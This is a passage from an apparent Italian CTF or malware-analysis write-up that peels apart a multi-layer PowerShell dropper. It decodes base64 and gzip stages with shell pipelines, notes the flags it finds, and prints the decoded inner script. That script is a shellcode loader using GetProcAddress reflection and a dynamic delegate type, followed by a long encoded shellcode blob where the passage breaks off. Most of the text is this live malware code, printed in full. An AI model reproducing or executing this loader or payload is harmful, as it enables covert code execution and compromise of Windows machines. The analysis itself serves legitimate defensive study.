QBUol2yT5hWFCXy9W2HHKh8qblB7KkWaDL9VZUbebIcTs74JXZOF2q8mHvbR6jVLcm1Zbk
srsx5qfH+SEt8tNRrySjxlRvr6oTRl5Gq0w++HWV142tX3ZaNjtDIG12GRn57O7Bn+rSzu
ZCbpmYIB8gDDfshaoA+/x8yeNhCMp83O2pdxzB/7C4dLWiDf6KKbZi0r7XFchlAzJdlJxz
LLiWpHaqlss6WMSw2FfVitxeHTYqLxHNM26/bP3QcXutCFLnShC13oQhe60IUudKELXehC
F7rQD1O5LoxZfjQvBZHl8mm3HIwR7c4Q41YMdrk2lp3GT7fxr0wnfJkgRE5dVTrNhi6JrQ
7jSjNmqqmlYPzTbfyLkqrN8P/eRmyTFSU37v5sey50oRPh/0uQ/20/CkqSDqfsfUPZSSOF
zRxZTLk6u4hkNu0P2ECV6+mgz8aq3F+ye1ahJTPtVFj559p/ob8J7T59usKfb8/9kMpfp/
iSwz8oeN66MXX+QPuu5SdejMdvbgr4osR55vk6fTldbDn3b40UpDEV/LE3mdnqbz7x/t5t
EUEPo6Xuvnz82EXn7/U7ftg53tsY+TZekc+/f9XIQaGHXKaML+qcvnJvuK5v4psm37ny8U
v++XAb5aVIPavQZMrvtgrUmbFQKBx8MpL5nNzGOHp4upRyYvz4cQbuFd+AOEDeIl4WKTpl
aJrGzwe6cPXjsLT8IMufxRXxbZQ3lrzV5BJNhSP6YeKt0f8xAF8o/ffQYvDIhZYzdMSg9/
EqXOV+ubri5tSb8cjeI+oWbagayb0o1sP4duUb1G8UuayQv9YLFMdOqGud+oO6BfcaEVOm
bhvhIsE3F6jDfbXfqZ1uHxb+TknIRPYW3fK+AVmK3Ijc/yFCMDOM/ROotkZuDDcAAA==")
);IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompr
ess))).ReadToEnd();
```

Quanto appare da questa prima decodifica rivela:

- Che si tratta di un altro script powershell al cui interno troviamo la prima flag: `$flag="hi from there"`
- che è presente un altro payload ancora base64-encoded: **`[Convert]::FromBase64String("H4sIAAAAAAAAA`** …
- che oltre alla codifica in base64 è presente anche una compressione con algoritmo gzip: **`IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]`**

Quello che dobbiamo fare è:

- decodificare ancora una volta il payload, via base64
- decomprimere il risultato

Quindi, ancora una volta, usiamo `echo` per mandare in pipe verso base64 -d il nuovo payload, ed infine ancora in pipe verso `gzip -d` per decomprimerlo

```
echo
H4sIAAAAAAAAA+1b6W/iyBL/PPkr/CESoJDE4EBgnkZaDgM22ICvANko8tGAsbGND7DZ3f
/9VTfHZGYy7807pNnVEqnkPqrr+FV1uVHcMopv5Ti0zVjwLUTdaiiMbN+jyldX13NXX1Cf
KKYC7bbPxdD+JXc1Tzwzxiy48bpA8WsQ+uarblkhiiLqt6sPIz3U11T+equHr2vfSlxUpE
gHMyIrCVHhw4erD2Qo8SJ9jl49Pba36HWN4qVvRaAo/9wIgra/1m3v5ePHVhKGyIsP/bsu
ihtRhNaGa6MoX6B+p56WKES3Q2OFzJj6jbp+veu6vqG7R7aspZtLcK7hWXhu4Js69uBODl
w7zud+/TVXeL4tvdyxm0R3o3xOzqIYre8s180VqD8KWKGSBSifE2wz9CN/Ht892R5TvlOJ
9SIxXjjYniscPVsEOvjxfSex1MOafA6aI8CmccAwV6Sesb7nlxfql7M1UuLF9hrdcV6MQj
+QUbi1TRTd9XTPcpGE5rAsF0EovUWuAEaEKE5CjzrZAuu2voPy117iukWQ+/yjcl/yItqd
wP3RRfm3i4BrFIeF4jEnfgQOgeTNQRy48431b5KrAH/fJFjh6o+rd1LVQi5a6DF6jQHfN7
l69eHDM2ki8Cc/8iObrPtE0UVKACP02A8zHE4lTFDh5XN8DmpPK6PidwWVTquOaw7hOdjx
iXrWfNt6ufpQuDpmDx5/NRLbtVCI57+/G9pobnuonXn62jZPCZ9/L2Zo7iKCx92JTQQ787
njBLLaR3RyGNDnb5exazs+r20ejGuYEPcIrIKUKHxpzCGG+RznCWgN+B36kKbXc9hm6MR9
3FrZSTvu41xuuXoUFalRAvvcLFIy0l1kFamGF9nHqUYS+6SZ+2yukLixbepRfBL3UngH0q
Pqlu/BjklMiC7AoMgBMm3dxagUqZ5toWYm24uTCbl3MWnprgtbDiRtISYwgrGQY5wzoVX8
Oj8KdzKKuXXgojVwkyrUgSoLNee4o0i66Qtk5f6F2ad9ctgUGKsTSG+MhgSQXT8uUpodxl
DXcsVvEu9/M+/LEvOFma0QHQOZJxvxuZnFeLsQThO/aD6dsSTIhTGg1gn9dVOPUPVBJmUs
nzO89Z7LGisuEzygFSPuVlwlwn1C0+PzR6lKnnRtLdMrNwuTRhDZxs1Dy6LjvtoQFVVNWV
Xlhw262VLUkqDtxKa0ECXNodsy0Kyc7hp0RZDoqTiwH4LmWbZYRtmEFZbBwN1zulwxs66T
TPQJ33dX7LG/mYxSmH+UNkplusfzcTfg3ZUA81YqO80BWf+u7eJ+ZgsrI+M8rmawzmT3ea
4GNOZ8zqYrXGbiscoZnz2Hn3vcbhzHhGOfk4UVL591uG90tfGTP/dZwHm64vbCgQ4yCJH5
/de2Ri14Dn4oJgxQSmw2sH2j/zCebwmv7/4I7640kdx4gtuSzZ7xOfhrvsMPRAuiqlotje
Zwe/kZT8IfvhMvQu3TmkyoChjrlMwzmGfwjm04nx92JUly6sK4Jaw6x9if4kVs+XpdGRP7
X+N2ob8ZMbq/r7ZH/epy3a8G6/KNtGbI3MiZxTXCk7U2vhHfLB7s/gaevhXXppZdHwubJf
CrK666TMrVts1tgqRcW9U3wuzmYXi/fbz5kqzNCo5AtR4HuSw/oWTmx/vs8d5kxGxRybYO
9Eldz+oPoHe4fsgyz4E6x1UryZ7pJ5Yfp7Is8hzterLMw9NZyVl9ye1hrL4rj2A/CFVjNe
gjsgcrfeOeqe9N0Gdz1er6vg66ekPwRcyY9rQNe3YvP4kDUrPoiNQwWR7C8bOewvwAz2/W
xhx0nnlYPNY15ib4vGcGpriotbk9rIlvNnE4R+BLEmzv54yYAt+jYsa7cpPYtSzTTM8UVx
Hhn8XiHnSsiI7u4wjz4f0sgE8wzpDxr3DE+JmA+QDixFSbiMn4CWcu1lk9tECvwRGsVt15
wm65m+/gL9TuK11jQngh1vRXsYY5g+QFzKVZ7TAXRae5EVkHOEwxdjgGm8o6ZUamuBSwX5
sZ5MkEZGl2j9MSaV0i8iE+gBeD8bKx/wLiZKiDpeky64WgG+KDsc9im8TSAX17FuOwP8bA
8DuPBlcyt5ueYZjWEavagvu8xrHDtdEzIQ8GBG/IZcConIkTfojtIHV3XLWztRLvTaaP8R
MnI72JaHgOVMgluQ9xJLH3Gqc414+6YH+UCLaNn79nL/QnJ3HQgH2ijSHnqg6cf4Zt3Hd2
0K/Q0B9tcf8e92u4Lywb8D4Xx/De3kVN6FsN+a28UTflO7VDm9RGcl6x8PufMT+fN0iNmu
LziKjRM0PbWUPlKOd8HtqV+hLNT8YL84msSSN8vrvH7bbW6Y1dC+wRcf1ZuQd+6cBvzZ40
tzdWx1heiO0Xv5QnHWyoYX/ImaatBkReMz3sGRb7m5JaIsoOOQv1Om/wKn8pTzv6pXDH89
Kb85OC+d/gnTa+dx56QzLWX1JxPAK8fkHiIeC+hfuPuH+P7R+JRD6Ox17F8Rhg+b3x6Vw1
dLlyc6R0ml2d5kWJrne5iumZ6mwkOfxY8ppdxeEVmU4lCeTUWzN67ASTmZpKJhuIElvvGm
yHl5zmhKvUVtNOpws4dWeu1lU0i9RCvpwqklNaa+pM1MpgF7OzZ27c1xhroKqzlgQ8j7aV
Sm7zSXFmjFwCGY5Jzv8neWapI4zZ2Vjtwvr6eDljZxP4bQPnSb43ZdNDjuA8ymY7ybWOMq
yFwp7OxCOH97S+qllPY6duKzScQ7sz/H544CeSJH+howI+p9IT+JvZ4gLbCPJ3klNpqXQs
QB/8Ev2Z14ln69qYHZd6Cl37E+zVC/1ViKklEX6Oq2GX3XZ6mx6rAMGZgGUGvBQ0pYG56b
ADNhmOejQ/58a19kOyS7hE2mhRmgIfvNPZObcV6U1XNIJEnBjZAMaix00vapvZYBckwaRX
9mWmv5hsWoMSm4zsx1Z1xCVjY1eCcxOcQ7qdh54WiXhNj9s2O5tW3Yf2Pbdt+Xx1Ydeqgd
```

```
fcWQ+I5atoMjB3TFxD+iLNNiM466Y3Ml3qalDzNKgFsmcNjNK4w4v7Mrtd7sxec2cKkYX9
NJx0Jjv10Xixe2pLQrvFSH1FtQSt02gbE7PdGdNytyEyKtRZqBWTdnMssumirULRYJecyO
78tkIHnLQQHag1nNISB92Jpi9BF+jhOdAlVxawL0eDNcZ4lw4lL+1qajCasxZ5tpuRNmW1
cac7s1XPUlS3SWuutFDZ0hOaQBUol2yT5hWFCXy9W2HHKh8qblB7KkWaDL9VZUbebIcTs7
4JXZOF2q8mHvbR6jVLcm1Zbksrsx5qfH+SEt8tNRrySjxlRvr6oTRl5Gq0w++HWV142tX3
ZaNjtDIG12GRn57O7Bn+rSzuZCbpmYIB8gDDfshaoA+/x8yeNhCMp83O2pdxzB/7C4dLWi
Df6KKbZi0r7XFchlAzJdlJxzLLiWpHaqlss6WMSw2FfVitxeHTYqLxHNM26/bP3QcXutCF
LnShC13oQhe60IUudKELXehCF7rQD1O5LoxZfjQvBZHl8mm3HIwR7c4Q41YMdrk2lp3GT7
fxr0wnfJkgRE5dVTrNhi6JrQ7jSjNmqqmlYPzTbfyLkqrN8P/eRmyTFSU37v5sey50oRPh
/0uQ/20/CkqSDqfsfUPZSSOFzRxZTLk6u4hkNu0P2ECV6+mgz8aq3F+ye1ahJTPtVFj559
p/ob8J7T59usKfb8/9kMpfp/iSwz8oeN66MXX+QPuu5SdejMdvbgr4osR55vk6fTldbDn3
b40UpDEV/LE3mdnqbz7x/t5tEUEPo6Xuvnz82EXn7/U7ftg53tsY+TZekc+/f9XIQaGHXK
aML+qcvnJvuK5v4psm37ny8Uv++XAb5aVIPavQZMrvtgrUmbFQKBx8MpL5nNzGOHp4upRy
Yvz4cQbuFd+AOEDeIl4WKTplaJrGzwe6cPXjsLT8IMufxRXxbZQ3lrzV5BJNhSP6YeKt0f
8xAF8o/ffQYvDIhZYzdMSg9/EqXOV+ubri5tSb8cjeI+oWbagayb0o1sP4duUb1G8UuayQ
v9YLFMdOqGud+oO6BfcaEVOmbhvhIsE3F6jDfbXfqZ1uHxb+TknIRPYW3fK+AVmK3Ijc/y
FCMDOM/ROotkZuDDcAAA== | base64 -d | gzip -d
```

L'output di questo comando è:

```
Set-StrictMode -Version 2

$flag = 35

$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')

        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))

        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))),
$var_procedure))

}


function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )


        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',
```

```
$false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
$var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')


        return $var_type_builder.CreateType()

}



[Byte[]]$var_code =
[System.Convert]::FromBase64String('bnmzIyAjIyMnIyMj3NwjI5sjIyMjIyMjYyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMj6yMjIy08mS0jlyruApsib+4Cd0tKUANTUUxEUUJOA0BCTU1MVwNBRgNRVk0DSk0DZ2xwA05MR0YNLi
4pByMjIyMjIyN2eyXEMhpLlzIaS5cyGkuXaXJKljEaS5cyGkqXPxpLl7RqT5YzGkuXtGpJljMaS5dxSkBLMhpLlyMjIyMjIyM
jIyMjIyMjIyNzZiMjbyInI8bEkXwjIyMjIyMjI8MjIQIoIi05IycjIyM5IyMjIyMjYzIjIyMzIyMjAyMjIyMjMyMzIyMjISMj
JSMjIyMjIyMlIyMjIyMjIyNDIyMjJyMjIyMjIyEjYyYjIzMjIzMjIyMjMyMjMyMjIyMjIzMjIyMjIyMjIyMjIysCIyMLIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3MjIxcjIyMbAyMjPyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjAyMjGyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw1XRltXIyMjRiEjIyMzIyMjJyMjIycjIyMjIyMjIyMjIyM
jIwMjI0MNUUdCV0IjI0MhIyMjAyMjIycjIyMrIyMjIyMjIyMjIyMjIyNjIyNjDUdCV0IjIyM6MSMjIxMjIyM3IyMjLyMjIyMj
IyMjIyMjIyMjYyMj4w1RRk9MQCMjFyMjIyNzIyMjISMjIwMjIyMjIyMjIyMjIyMjI2MjI2EjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3aoz6DPK6hmK6pm2+Rm3yMjIyPkZt8jIyMjyCqobt+g4iKqbt+odt8
Ydi9QMqhm2+UjI6hu26DiIqpu28j9qMZ+4O/v7+/v7+/v7+/v7+/vdqjPos8HICMjSWeuZotzy7/c3Nyg5yvkZotnIyMjy94j
IyOm4yynkiMjI65uz3KudotxSSNJI0lnSSJJI0kjSy9hIzNJI9w2PwMjM6bjLKerIyMj5Kb/39zcICMiI66m/9/c3HOobtNy3
DYDAyMzSWNLIzMjI0sjMyMjSSOods9x3DYLAyMzqmbfSSNLIzMjI0sjEyMzqGbfc6huz3LcNg8DIzOodt+qtrfe3Nyupv/f3N
xzqG7Tctw2BwMjM6h2O3HcNjsDIzOoZtNz3DYjAyMzqG7Pctw2IwMjM0kj3DY3AyMzqMZ+4O/v7+/v7+/vdqjPcqhmL6pm36B
e3yJXIcgmy9rd3NybIiMjI6jGfuEvI+/v7+/v7+/v7+/v7+/vdqjPoM8/5GbXIiMjI+Rm0yMjIyPkZt8jIyMj5GbbIyMjI+Rm
xy8jIyPkZssjIyMj5GbPIiMjI0sjYyMzSSJJIq5mx3PcNhMDIzOqZt+gXt8jViHIVuRm1yMjIyNJI6hu33LcNisDIzMeISIjI
1YhyHrkZtMiIyMjSytiIzNJIksjIzEj3DYzAyMzqmbboF7bI1cvqHbbcdw2IwMjM8gISytiIzNJIkkirmbHc9w2LwMjM6pm26
Be2yNXJORm1yIjIyMQ6iymTtzc3KBe3yNXPaBe0yNXLUkjSSKodt9x3DYnAyMzqGbfc9w2IwMjM6hm16jGfuAjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNLAiMjVQIjI6kCIyODAiMjkwIjI50CIyPvAiMj/wIjI80CI
yMhASMjNQEjIwsBIyMdASMjIyMjIyMjIyPGxJF8IyMjIy4jIyOXIyMjdwMjI3crIyMjIyMjIzMjI0YhIyMNV0ZbVwdOTSMjIy
MjAyMjGyMjIw1KR0JXQgcWIyMjIxsDIyM/IyMjDVFHQldCIyN3AyMjlyMjIw1RR0JXQgdZWVlHQUQjIyMrAiMjNyMjIw1KR0J
XQgcRIyMjIz8CIyM3IyMjDUpHQldCBxAjIyMjEwIjIxsjIyMNSkdCV0IHFyMjIyNLAiMj2yMjIw1KR0JXQgcVIyMjIyMTIyM6
MSMjDUdCV0IjIyMTAiMjIyMjIyMjIyNxASMjIwMjIyMjIyMjIyMjIyMjIyMjIyMjSwIjI1UCIyOpAiMjgwIjI5MCIyOdA
iMj7wIjI/8CIyPNAiMjIQEjIzUBIyMLASMjHQEjIyMjIyOlI2BPTFBGa0JNR09GI5cncUZPRkJQRnBGTkJTS0xRRiMj9CZ0Qk
pXZUxRcEpNRE9GbEFJRkBXI58jYFFGQldGZlVGTVdiIyMjJ2xTRk1mVUZNV2IjI3wiZltKV3dLUUZCRyMj7idxRlBWTkZ3S1F
GQkcjI8MjYFFGQldGc1FMQEZQUGIjI9QhZEZXd0tRRkJHYExNV0ZbVyMjdyZwRld3S1FGQkdgTE1XRltXIyPkJnVKUVdWQk9i
T09MQGZbIyM4JXRRSldGc1FMQEZQUG5GTkxRWiMjyiNgUUZCV0ZwRk5CU0tMUUZiIyNoZnFtZm8QEQ1HT08jIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj38usIyMjQ6rGEvFHqHETqHEvqHE3LJRpBRLcqFE
LEuOPH0JfIQ8D4uwuIuRqVsxxqHEzqGEfIvN0qGNbpuNXbyLzqGs7qHsDcyLwpupXH2oS3KgXqCL1EuPi7C6PIuQbw1bXIF7b
GF4HVsN7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyqPc3Nx+S01GVyNLVEpNSndLb1QFJNz2EvhwcHBwc
MsdIyMjbkxZSk9PQgwWDRMDC3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBQNExgDUVUZEhINEwoDT0pIRgNkRkBITCNLGXVahN
z2cHBJIHBwS5giIyPLmyMjIwxORnxGVUpPfEdGVUpPDBsVYEVQFGZiUndTUlB0VlRgUE1WeXJXR21ic0JTT3poaG5EQUJrTlp
8W1sVSyNzS3SqvOXc9qrlcEsjIUuncHBwdHB1S8h2DRjc9rVJKXxwcHBwdUsOJTtY3Pam41Y3S6swIyNLZ9MWw9z2bFbCy3Ej
IyNJY0sjMyMjSyMjYyNwS3uHcMbc9rBwcKrEdEsjAyMjcHVLMbWqwdz2puNX7KgkIuCm41bGe+B8y1zc3NxOQldRSkxQSEINU
FRCUEBCTQ1ATE4jmNOWgXVJI3Dc9iMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
```

yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
